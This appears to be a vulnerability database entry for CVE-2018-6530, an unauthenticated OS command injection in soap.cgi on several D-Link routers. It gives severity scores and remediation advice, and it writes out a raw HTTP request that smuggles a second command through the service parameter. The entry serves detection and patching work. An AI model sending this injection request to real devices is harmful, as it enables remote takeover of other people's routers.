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CVE-2018-6530: D-Link - Unauthenticated Remote Code Execution

TitleD-Link - Unauthenticated Remote Code Execution
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.
RemediationApply the latest firmware update provided by D-Link to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94038
CVE IDCVE-2018-6530
CWE IDCWE-78
Tags cve cve2018 d-link rce oast unauth kev dlink vkev vuln

🔍 Vulnerability Description

OS command injection vulnerability in soap.cgi (soapcgi_main in cgibin) in D-Link DIR-880L DIR-880L_REVA_FIRMWARE_PATCH_1.08B04 and previous versions, DIR-868L DIR868LA1_FW112b04 and previous versions, DIR-65L DIR-865L_REVA_FIRMWARE_PATCH_1.08.B01 and previous versions, and DIR-860L DIR860LA1_FW110b04 and previous versions allows remote attackers to execute arbitrary OS commands via the service parameter.

🌐 HTTP Request

POST /soap.cgi?service=whatever-control;curl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Connection: close
Content-Length: 16
Accept-Encoding: identity
Content-Type: text/xml
SOAPAction: "whatever-serviceType#whatever-action"

whatever-content

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-6530.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-6530.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A